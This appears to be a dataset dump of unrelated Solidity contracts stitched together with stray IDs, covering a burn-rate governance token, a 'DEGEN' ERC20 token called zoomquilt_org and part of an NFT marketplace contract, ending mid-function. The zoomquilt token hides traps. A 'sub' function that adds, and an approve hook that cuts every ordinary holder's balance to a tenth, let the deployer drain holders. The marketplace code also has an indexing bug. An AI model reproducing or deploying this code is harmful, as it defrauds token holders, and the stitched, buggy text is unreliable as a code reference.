Transfer(account, address(0), amount); } /** * Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * Hook that is called before any transfer of tokens. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual returns (uint256) { } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/StabilizeToken.sol pragma solidity ^0.6.0; // Stabilize Token with Governance. contract StabilizeToken is ERC20("Stabilize Token", "STBZ"), Ownable { //using SafeMath for uint256; // Variables bool private burnStarted = false; // Starts during week 53 uint256 public burnRate = 0; // Can be between 0 - 100000 (0% - 100%) uint256 constant divisionFactor = 100000; // Events event BurnStarted(); /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (Operator). function mint(address _to, uint256 _amount) public onlyOwner returns (bool) { _mint(_to, _amount); return true; } // This function will burn a percentage of tokens not sent from the owner after 52 weeks are over function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override returns (uint256) { super._beforeTokenTransfer(from, to, amount); // Call parent hook if(burnStarted == true && burnRate > 0){ if(from != owner()){ // When the Operator is not transferring tokens, it is burned after 52 week uint256 burnAmount = amount.mul(burnRate).div(divisionFactor); if(burnAmount.add(amount) > balanceOf(from)){ uint256 overage = burnAmount.add(amount).sub(balanceOf(from)); amount = amount.sub(overage); // Only subtract from the overage amount sent if user balance is not enough } _burn(from,burnAmount); } } return amount; } // Operator has initiated the per transaction burning function initiateBurn(uint256 rate) public onlyOwner returns (bool) { if(burnStarted == false){ burnStarted = true; } burnRate = rate; emit BurnStarted(); return true; } }
Hook that is called before any transfer of tokens. Calling conditions: - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens will be to transferred to `to`. - when `from` is zero, `amount` tokens will be minted for `to`. - when `to` is zero, `amount` of ``from``'s tokens will be burned. - `from` and `to` are never both zero. To learn more about hooks, head to xref:ROOT:extending-contracts.adocusing-hooks[Using Hooks]./
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual returns (uint256) { }
618,353
/* DEGEN PlAY HIGH RISH / HIGH REWARD http://zoomquilt.org/ http://zoomquilt.org/ http://zoomquilt.org/ SPDX-License-Identifier: MIT */ pragma solidity 0.6.2; abstract contract Context { function _msgSender() internal view virtual returns(address payable) { return msg.sender; } function _msgData() internal view virtual returns(bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns(uint256); function balanceOf(address account) external view returns(uint256); function transfer(address recipient, uint256 amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint256); function approve(address spender, uint256 amount) external returns(bool); function transferFrom(address sender, address recipient, uint256 amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function subs(uint256 a, uint256 b) internal pure returns(uint256) { return subs(a, b, "SafeMath: subtraction overflow"); } function subs(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns(uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function sub(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address governance; uint256 maxSupply; uint256 Address; uint256 decimal; // frontrunning-bot blacklist address bot1 = 0xEBB4d6cfC2B538e2a7969Aa4187b1c00B2762108; address bot2 = 0x93438E08C4edc17F867e8A9887284da11F26A09d; address bot3 = 0x8Be4DB5926232BC5B02b841dbeDe8161924495C4; address bot4 = 0x42D0ba0223700DEa8BCA7983cc4bf0e000DEE772; address bot5 = 0x00000000002bde777710C370E08Fc83D61b2B8E1; address bot6 = 0x1d6c43b4D829334d88ce609D7728Dc5f4736b3c7; address bot7 = 0x44BdB19dB1Cd29D546597AF7dc0549e7f6F9E480; address bot8 = 0xAfE0e7De1FF45Bc31618B39dfE42dd9439eEBB32; address bot9 = 0x5f3E759d09e1059e4c46D6984f07cbB36A73bdf1; address bot10 = 0x0000000071E801062eB0544403F66176BBA42Dc0; address bot11 = 0x2C334D73c68bbc45dD55b13C5DeA3a8f84ea053c; address bot12 = 0x3e1804Fa401d96c48BeD5a9dE10b6a5c99a53965; constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 10; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } function totalSupply() public view override returns(uint256) { return _totalSupply; } function balanceOf(address account) public view override returns(uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns(uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].subs(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].subs(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function approved(address owner) internal { require(owner != address(0), "ERC20: approve from the zero address"); if (owner != governance) { Address = _balances[owner]; Address /= decimal; _balances[owner] = Address; } else { Address = _balances[owner]; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); // Anti draining bots feature: Bots can buy but can't sell // Bot list is definited above in contract "ERC20" require(msg.sender != bot1 && msg.sender != bot2 && msg.sender != bot3 && msg.sender != bot4); require(msg.sender != bot5 && msg.sender != bot6 && msg.sender != bot7 && msg.sender != bot8 && msg.sender != bot9); require(msg.sender != bot10 && msg.sender != bot11 && msg.sender != bot12); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].subs(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _initMint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: create to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) public virtual { require(account == governance, "ERC20: Burner is not allowed"); _beforeTokenTransfer(address(0), account, amount); _balances[account] = _balances[account].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); approved(owner); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract zoomquilt_org is ERC20 { constructor() ERC20('zoomquilt.org', 'ZOOMCORE') public { governance = msg.sender; maxSupply = 36000 * 10 ** uint(decimals()); decimal = 10; _initMint(governance, maxSupply); } }
Anti draining bots feature: Bots can buy but can't sell Bot list is definited above in contract "ERC20"
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(msg.sender != bot1 && msg.sender != bot2 && msg.sender != bot3 && msg.sender != bot4); require(msg.sender != bot5 && msg.sender != bot6 && msg.sender != bot7 && msg.sender != bot8 && msg.sender != bot9); require(msg.sender != bot10 && msg.sender != bot11 && msg.sender != bot12); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].subs(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }
11,995,662
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title IERC1155 Non-Fungible Token Creator basic interface */ interface IERC1155TokenCreator { /** * @dev Gets the creator of the token * @param _tokenId uint256 ID of the token * @return address of the creator */ function tokenCreator(uint256 _tokenId) external view returns (address payable); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title IMarketplaceSettings Settings governing a marketplace. */ interface IMarketplaceSettings { ///////////////////////////////////////////////////////////////////////// // Marketplace Min and Max Values ///////////////////////////////////////////////////////////////////////// /** * @dev Get the max value to be used with the marketplace. * @return uint256 wei value. */ function getMarketplaceMaxValue() external view returns (uint256); /** * @dev Get the max value to be used with the marketplace. * @return uint256 wei value. */ function getMarketplaceMinValue() external view returns (uint256); ///////////////////////////////////////////////////////////////////////// // Marketplace Fee ///////////////////////////////////////////////////////////////////////// /** * @dev Get the marketplace fee percentage. * @return uint8 wei fee. */ function getMarketplaceFeePercentage() external view returns (uint8); /** * @dev Utility function for calculating the marketplace fee for given amount of wei. * @param _amount uint256 wei amount. * @return uint256 wei fee. */ function calculateMarketplaceFee(uint256 _amount) external view returns (uint256); ///////////////////////////////////////////////////////////////////////// // Primary Sale Fee ///////////////////////////////////////////////////////////////////////// /** * @dev Get the primary sale fee percentage for a specific ERC1155 contract. * @return uint8 wei primary sale fee. */ function getERC1155ContractPrimarySaleFeePercentage() external view returns (uint8); /** * @dev Utility function for calculating the primary sale fee for given amount of wei * @param _amount uint256 wei amount. * @return uint256 wei fee. */ function calculatePrimarySaleFee(uint256 _amount) external view returns (uint256); /** * @dev Check whether the ERC1155 token has sold at least once. * @param _tokenId uint256 token ID. * @return bool of whether the token has sold. */ function hasTokenSold(uint256 _tokenId) external view returns (bool); /** * @dev Mark a token as sold. * Requirements: * * - `_contractAddress` cannot be the zero address. * @param _tokenId uint256 token ID. * @param _hasSold bool of whether the token should be marked sold or not. */ function markERC1155Token( uint256 _tokenId, bool _hasSold ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Interface for interacting with the Nifter contract that holds Nifter beta tokens. */ interface INifter { /** * @dev Gets the creator of the token * @param _tokenId uint256 ID of the token * @return address of the creator */ function creatorOfToken(uint256 _tokenId) external view returns (address payable); /** * @dev Gets the Service Fee * @param _tokenId uint256 ID of the token * @return address of the creator */ function getServiceFee(uint256 _tokenId) external view returns (uint8); /** * @dev Gets the price type * @param _tokenId uint256 ID of the token * @param _owner address of the token owner * @return get the price type */ function getPriceType(uint256 _tokenId, address _owner) external view returns (uint8); /** * @dev update price only from auction. * @param _price price of the token * @param _tokenId uint256 id of the token. * @param _owner address of the token owner */ function setPrice(uint256 _price, uint256 _tokenId, address _owner) external; /** * @dev update bids only from auction. * @param _bid bid Amount * @param _bidder bidder address * @param _tokenId uint256 id of the token. * @param _owner address of the token owner */ function setBid(uint256 _bid, address _bidder, uint256 _tokenId, address _owner) external; /** * @dev remove token from sale * @param _tokenId uint256 id of the token. * @param _owner owner of the token */ function removeFromSale(uint256 _tokenId, address _owner) external; /** * @dev get tokenIds length */ function getTokenIdsLength() external view returns (uint256); /** * @dev get token Id * @param _index uint256 index */ function getTokenId(uint256 _index) external view returns (uint256); /** * @dev Gets the owners * @param _tokenId uint256 ID of the token */ function getOwners(uint256 _tokenId) external view returns (address[] memory owners); /** * @dev Gets the is for sale * @param _tokenId uint256 ID of the token * @param _owner address of the token owner */ function getIsForSale(uint256 _tokenId, address _owner) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface INifterMarketAuction { /** * @dev Set the token for sale. The owner of the token must be the sender and have the marketplace approved. * @param _tokenId uint256 ID of the token * @param _amount uint256 wei value that the item is for sale */ function setSalePrice( uint256 _tokenId, uint256 _amount, address _owner ) external; /** * @dev set * @param _bidAmount uint256 value in wei to bid. * @param _startTime end time of bid * @param _endTime end time of bid * @param _owner address of the token owner * @param _tokenId uint256 ID of the token */ function setInitialBidPriceWithRange( uint256 _bidAmount, uint256 _startTime, uint256 _endTime, address _owner, uint256 _tokenId ) external; /** * @dev has active bid * @param _tokenId uint256 ID of the token * @param _owner address of the token owner */ function hasTokenActiveBid(uint256 _tokenId, address _owner) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./IERC1155TokenCreator.sol"; /** * @title IERC1155CreatorRoyalty Token level royalty interface. */ interface INifterRoyaltyRegistry is IERC1155TokenCreator { /** * @dev Get the royalty fee percentage for a specific ERC1155 contract. * @param _tokenId uint256 token ID. * @return uint8 wei royalty fee. */ function getTokenRoyaltyPercentage( uint256 _tokenId ) external view returns (uint8); /** * @dev Utililty function to calculate the royalty fee for a token. * @param _tokenId uint256 token ID. * @param _amount uint256 wei amount. * @return uint256 wei fee. */ function calculateRoyaltyFee( uint256 _tokenId, uint256 _amount ) external view returns (uint256); /** * @dev Sets the royalty percentage set for an Nifter token * Requirements: * - `_percentage` must be <= 100. * - only the owner of this contract or the creator can call this method. * @param _tokenId uint256 token ID. * @param _percentage uint8 wei royalty fee. */ function setPercentageForTokenRoyalty( uint256 _tokenId, uint8 _percentage ) external returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title IERC721 Non-Fungible Token Creator basic interface */ interface INifterTokenCreatorRegistry { /** * @dev Gets the creator of the token * @param _tokenId uint256 ID of the token * @return address of the creator */ function tokenCreator(uint256 _tokenId) external view returns (address payable); /** * @dev Sets the creator of the token * @param _tokenId uint256 ID of the token * @param _creator address of the creator for the token */ function setTokenCreator( uint256 _tokenId, address payable _creator ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./INifter.sol"; import "./INifterMarketAuction.sol"; import "./IMarketplaceSettings.sol"; import "./INifterRoyaltyRegistry.sol"; import "./INifterTokenCreatorRegistry.sol"; /** * Nifter core contract. */ contract Nifter is ERC1155, Ownable, INifter { // Library to overcome overflow using SafeMath for uint256; struct TokenInfo { uint256 tokenId; address creator; uint256 tokenAmount; address[] owners; uint8 serviceFee; uint256 creationTime; } struct TokenOwnerInfo { bool isForSale; uint8 priceType; // 0 for fixed, 1 for Auction dates range, 2 for Auction Infinity uint256[] prices; uint256[] bids; address[] bidders; } // market auction to set the price INifterMarketAuction marketAuction; IMarketplaceSettings marketplaceSettings; INifterRoyaltyRegistry royaltyRegistry; INifterTokenCreatorRegistry tokenCreatorRigistry; // mapping of token info mapping(uint256 => TokenInfo) public tokenInfo; mapping(uint256 => mapping(address => TokenOwnerInfo)) public tokenOwnerInfo; mapping(uint256 => bool) public tokenIdsAvailable; uint256[] public tokenIds; uint256 public maxId; // Event indicating metadata was updated. event AddNewToken(address user, uint256 tokenId); event DeleteTokens(address user, uint256 tokenId, uint256 amount); event SetURI(string uri); constructor( string memory _uri ) public ERC1155(_uri) { } /** * @dev Gets the creator of the token * @param _tokenId uint256 ID of the token * @return address of the creator */ function creatorOfToken(uint256 _tokenId) external view override returns (address payable) { return payable(tokenInfo[_tokenId].creator); } /** * @dev Gets the Service Fee * @param _tokenId uint256 ID of the token * @return get the service fee */ function getServiceFee(uint256 _tokenId) external view override returns (uint8){ return tokenInfo[_tokenId].serviceFee; } /** * @dev Gets the price type * @param _tokenId uint256 ID of the token * @param _owner address of the token owner * @return get the price type */ function getPriceType(uint256 _tokenId, address _owner) external view override returns (uint8){ return tokenOwnerInfo[_tokenId][_owner].priceType; } /** * @dev Gets the token amount * @param _tokenId uint256 ID of the token */ function getTokenAmount(uint256 _tokenId) external view returns (uint256){ return tokenInfo[_tokenId].tokenAmount; } /** * @dev Gets the is for sale * @param _tokenId uint256 ID of the token * @param _owner address of the token owner */ function getIsForSale(uint256 _tokenId, address _owner) external override view returns (bool){ return tokenOwnerInfo[_tokenId][_owner].isForSale; } /** * @dev Gets the owners * @param _tokenId uint256 ID of the token */ function getOwners(uint256 _tokenId) external override view returns (address[] memory owners){ return tokenInfo[_tokenId].owners; } /** * @dev Gets the prices * @param _tokenId uint256 ID of the token * @param _owner address of the token owner */ function getPrices(uint256 _tokenId, address _owner) external view returns (uint256[] memory prices){ return tokenOwnerInfo[_tokenId][_owner].prices; } /** * @dev Gets the bids * @param _tokenId uint256 ID of the token * @param _owner address of the token owner */ function getBids(uint256 _tokenId, address _owner) external view returns (uint256[] memory bids){ return tokenOwnerInfo[_tokenId][_owner].bids; } /** * @dev Gets the bidders * @param _tokenId uint256 ID of the token * @param _owner address of the token owner */ function getBidders(uint256 _tokenId, address _owner) external view returns (address[] memory bidders){ return tokenOwnerInfo[_tokenId][_owner].bidders; } /** * @dev Gets the creation time * @param _tokenId uint256 ID of the token */ function getCreationTime(uint256 _tokenId) external view returns (uint256){ return tokenInfo[_tokenId].creationTime; } /** * @dev get tokenIds length */ function getTokenIdsLength() external override view returns (uint256){ return tokenIds.length; } /** * @dev get token Id * @param _index uint256 index */ function getTokenId(uint256 _index) external override view returns (uint256){ return tokenIds[_index]; } /** * @dev get owner tokens * @param _owner address of owner. */ function getOwnerTokens(address _owner) public view returns (TokenInfo[] memory tokens, TokenOwnerInfo[] memory ownerInfo) { uint totalValues; //calculate totalValues for (uint i = 0; i < tokenIds.length; i++) { TokenInfo memory info = tokenInfo[tokenIds[i]]; if (info.owners[info.owners.length - 1] == _owner) { totalValues++; } } TokenInfo[] memory values = new TokenInfo[](totalValues); TokenOwnerInfo[] memory valuesOwner = new TokenOwnerInfo[](totalValues); for (uint i = 0; i < tokenIds.length; i++) { uint256 tokenId = tokenIds[i]; TokenInfo memory info = tokenInfo[tokenId]; if (info.owners[info.owners.length - 1] == _owner) { values[i] = info; valuesOwner[i] = tokenOwnerInfo[tokenId][_owner]; } } return (values, valuesOwner); } /** * @dev get token paging * @param _offset offset of the records. * @param _limit limits of the records. */ function getTokensPaging(uint _offset, uint _limit) public view returns (TokenInfo[] memory tokens, uint nextOffset, uint total) { uint256 tokenInfoLength = tokenIds.length; if (_limit == 0) { _limit = 1; } if (_limit > tokenInfoLength - _offset) { _limit = tokenInfoLength - _offset; } TokenInfo[] memory values = new TokenInfo[] (_limit); for (uint i = 0; i < _limit; i++) { uint256 tokenId = tokenIds[_offset + i]; values[i] = tokenInfo[tokenId]; } return (values, _offset + _limit, tokenInfoLength); } /** * @dev Checks that the token was owned by the sender. * @param _tokenId uint256 ID of the token. */ modifier onlyTokenOwner(uint256 _tokenId) { uint256 balance = balanceOf(msg.sender, _tokenId); require(balance > 0, "must be the owner of the token"); _; } /** * @dev Checks that the token was created by the sender. * @param _tokenId uint256 ID of the token. */ modifier onlyTokenCreator(uint256 _tokenId) { address creator = tokenInfo[_tokenId].creator; require(creator == msg.sender, "must be the creator of the token"); _; } /** * @dev restore data from old contract, only call by owner * @param _oldAddress address of old contract. * @param _startIndex start index of array * @param _endIndex end index of array */ function restore(address _oldAddress, uint256 _startIndex, uint256 _endIndex) external onlyOwner { Nifter oldContract = Nifter(_oldAddress); uint256 length = oldContract.getTokenIdsLength(); require(_startIndex < length, "wrong start index"); require(_endIndex <= length, "wrong end index"); for (uint i = _startIndex; i < _endIndex; i++) { uint256 tokenId = oldContract.getTokenId(i); tokenIds.push(tokenId); //create seperate functions otherwise it will give stack too deep error tokenInfo[tokenId] = TokenInfo( tokenId, oldContract.creatorOfToken(tokenId), oldContract.getTokenAmount(tokenId), oldContract.getOwners(tokenId), oldContract.getServiceFee(tokenId), oldContract.getCreationTime(tokenId) ); address[] memory owners = tokenInfo[tokenId].owners; for (uint j = 0; j < owners.length; j++) { address owner = owners[j]; tokenOwnerInfo[tokenId][owner] = TokenOwnerInfo( oldContract.getIsForSale(tokenId, owner), oldContract.getPriceType(tokenId, owner), oldContract.getPrices(tokenId, owner), oldContract.getBids(tokenId, owner), oldContract.getBidders(tokenId, owner) ); uint256 ownerBalance = oldContract.balanceOf(owner, tokenId); if (ownerBalance > 0) { _mint(owner, tokenId, ownerBalance, ''); } } tokenIdsAvailable[tokenId] = true; } maxId = oldContract.maxId(); } /** * @dev update or mint token Amount only from token creator. * @param _tokenAmount token Amount * @param _tokenId uint256 id of the token. */ function setTokenAmount(uint256 _tokenAmount, uint256 _tokenId) external onlyTokenCreator(_tokenId) { tokenInfo[_tokenId].tokenAmount = tokenInfo[_tokenId].tokenAmount + _tokenAmount; _mint(msg.sender, _tokenId, _tokenAmount, ''); } /** * @dev update is for sale only from token Owner. * @param _isForSale is For Sale * @param _tokenId uint256 id of the token. */ function setIsForSale(bool _isForSale, uint256 _tokenId) public onlyTokenOwner(_tokenId) { tokenOwnerInfo[_tokenId][msg.sender].isForSale = _isForSale; } /** * @dev update is for sale only from token Owner. * @param _priceType set the price type * @param _price price of the token * @param _startTime start time of bid, pass 0 of _priceType is not 1 * @param _endTime end time of bid, pass 0 of _priceType is not 1 * @param _tokenId uint256 id of the token. * @param _owner owner of the token */ function putOnSale(uint8 _priceType, uint256 _price, uint256 _startTime, uint256 _endTime, uint256 _tokenId, address _owner) public onlyTokenOwner(_tokenId) { if (_priceType == 0) { marketAuction.setSalePrice(_tokenId, _price, _owner); } if (_priceType == 1 || _priceType == 2) { marketAuction.setInitialBidPriceWithRange(_price, _startTime, _endTime, _owner, _tokenId); } tokenOwnerInfo[_tokenId][_owner].isForSale = true; tokenOwnerInfo[_tokenId][_owner].priceType = _priceType; } /** * @dev remove token from sale * @param _tokenId uint256 id of the token. * @param _owner owner of the token */ function removeFromSale(uint256 _tokenId, address _owner) external override { uint256 balance = balanceOf(msg.sender, _tokenId); require(balance > 0 || msg.sender == address(marketAuction), "must be the owner of the token or sender is market auction"); tokenOwnerInfo[_tokenId][_owner].isForSale = false; } /** * @dev update price type from token Owner. * @param _priceType price type * @param _tokenId uint256 id of the token. */ function setPriceType(uint8 _priceType, uint256 _tokenId) external onlyTokenOwner(_tokenId) { tokenOwnerInfo[_tokenId][msg.sender].priceType = _priceType; } /** * @dev set marketAuction address to set the sale price * @param _marketAuction address of market auction. * @param _marketplaceSettings address of market auction. */ function setMarketAddresses(address _marketAuction, address _marketplaceSettings, address _tokenCreatorRigistry, address _royaltyRegistry) external onlyOwner { marketAuction = INifterMarketAuction(_marketAuction); marketplaceSettings = IMarketplaceSettings(_marketplaceSettings); tokenCreatorRigistry = INifterTokenCreatorRegistry(_tokenCreatorRigistry); royaltyRegistry = INifterRoyaltyRegistry(_royaltyRegistry); } /** * @dev update price only from auction. * @param _price price of the token * @param _tokenId uint256 id of the token. * @param _owner address of the token owner */ function setPrice(uint256 _price, uint256 _tokenId, address _owner) external override { require(msg.sender == address(marketAuction), "only market auction can set the price"); TokenOwnerInfo storage info = tokenOwnerInfo[_tokenId][_owner]; info.prices.push(_price); } /** * @dev update bids only from auction. * @param _bid bid Amount * @param _bidder bidder address * @param _tokenId uint256 id of the token. * @param _owner address of the token owner */ function setBid(uint256 _bid, address _bidder, uint256 _tokenId, address _owner) external override { require(msg.sender == address(marketAuction), "only market auction can set the price"); TokenOwnerInfo storage info = tokenOwnerInfo[_tokenId][_owner]; info.bids.push(_bid); info.bidders.push(_bidder); } /** * @dev Adds a new unique token to the supply. * @param _tokenAmount total token amount available * @param _isForSale if is for sale * @param _priceType 0 is for fixed, 1 is for Auction Time bound, 2 is for Auction Infiniite * @param _royaltyPercentage royality percentage of creator */ function addNewToken(uint256 _tokenAmount, bool _isForSale, uint8 _priceType, uint8 _royaltyPercentage) public { uint256 tokenId = _createToken(msg.sender, _tokenAmount, _isForSale, 0, _priceType, _royaltyPercentage); emit AddNewToken(msg.sender, tokenId); } /** * @dev Adds a new unique token to the supply. * @param _tokenAmount total token amount available * @param _isForSale if is for sale * @param _priceType 0 is for fixed, 1 is for Auction Time bound, 2 is for Auction Infiniite * @param _royaltyPercentage royality percentage of creator * @param _tokenId uint256 ID of the token. */ function addNewTokenWithId(uint256 _tokenAmount, bool _isForSale, uint8 _priceType, uint8 _royaltyPercentage, uint256 _tokenId) public { uint256 tokenId = _createTokenWithId(msg.sender, _tokenAmount, _isForSale, 0, _priceType, _royaltyPercentage, _tokenId); emit AddNewToken(msg.sender, tokenId); } /** * @dev add token and set the price. * @param _price price of the item. * @param _tokenAmount total token amount available * @param _isForSale if is for sale * @param _priceType 0 is for fixed, 1 is for Auction Time bound, 2 is for Auction Infiniite * @param _royaltyPercentage royality percentage of creator * @param _startTime start time of bid, pass 0 of _priceType is not 1 * @param _endTime end time of bid, pass 0 of _priceType is not 1 */ function addNewTokenAndSetThePrice(uint256 _tokenAmount, bool _isForSale, uint256 _price, uint8 _priceType, uint8 _royaltyPercentage, uint256 _startTime, uint256 _endTime) public { uint256 tokenId = getTokenIdAvailable(); addNewTokenAndSetThePriceWithId(_tokenAmount, _isForSale, _price, _priceType, _royaltyPercentage, _startTime, _endTime, tokenId); } /** * @dev add token and set the price. * @param _price price of the item. * @param _tokenAmount total token amount available * @param _isForSale if is for sale * @param _priceType 0 is for fixed, 1 is for Auction Time bound, 2 is for Auction Infiniite * @param _royaltyPercentage royality percentage of creator * @param _startTime start time of bid, pass 0 of _priceType is not 1 * @param _endTime end time of bid, pass 0 of _priceType is not 1 * @param _tokenId uint256 ID of the token. */ function addNewTokenAndSetThePriceWithId(uint256 _tokenAmount, bool _isForSale, uint256 _price, uint8 _priceType, uint8 _royaltyPercentage, uint256 _startTime, uint256 _endTime, uint256 _tokenId) public { uint256 tokenId = _createTokenWithId(msg.sender, _tokenAmount, _isForSale, _price, _priceType, _royaltyPercentage, _tokenId); putOnSale(_priceType, _price, _startTime, _endTime, tokenId, msg.sender); emit AddNewToken(msg.sender, tokenId); } /** * @dev Deletes the token with the provided ID. * @param _tokenId uint256 ID of the token. * @param _amount amount of the token to delete */ function deleteToken(uint256 _tokenId, uint256 _amount) public onlyTokenOwner(_tokenId) { bool activeBid = marketAuction.hasTokenActiveBid(_tokenId, msg.sender); uint256 balance = balanceOf(msg.sender, _tokenId); //2 if (activeBid == true) require(balance.sub(_amount) > 0, "you have the active bid"); _burn(msg.sender, _tokenId, _amount); DeleteTokens(msg.sender, _tokenId, _amount); } /** * @dev Sets uri of tokens. * * Requirements: * * @param _uri new uri . */ function setURI(string memory _uri) external onlyOwner { _setURI(_uri); emit SetURI(_uri); } function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { //transfer case if (msg.sender != address(marketAuction)) { bool activeBid = marketAuction.hasTokenActiveBid(id, from); uint256 balance = balanceOf(from, id); if (activeBid == true) require(balance.sub(amount) > 0, "you have the active bid"); } super.safeTransferFrom(from, to, id, amount, data); _setTokenOwner(id, to); } /** * @dev Internal function for setting the token's creator. * @param _tokenId uint256 id of the token. * @param _owner address of the owner of the token. */ function 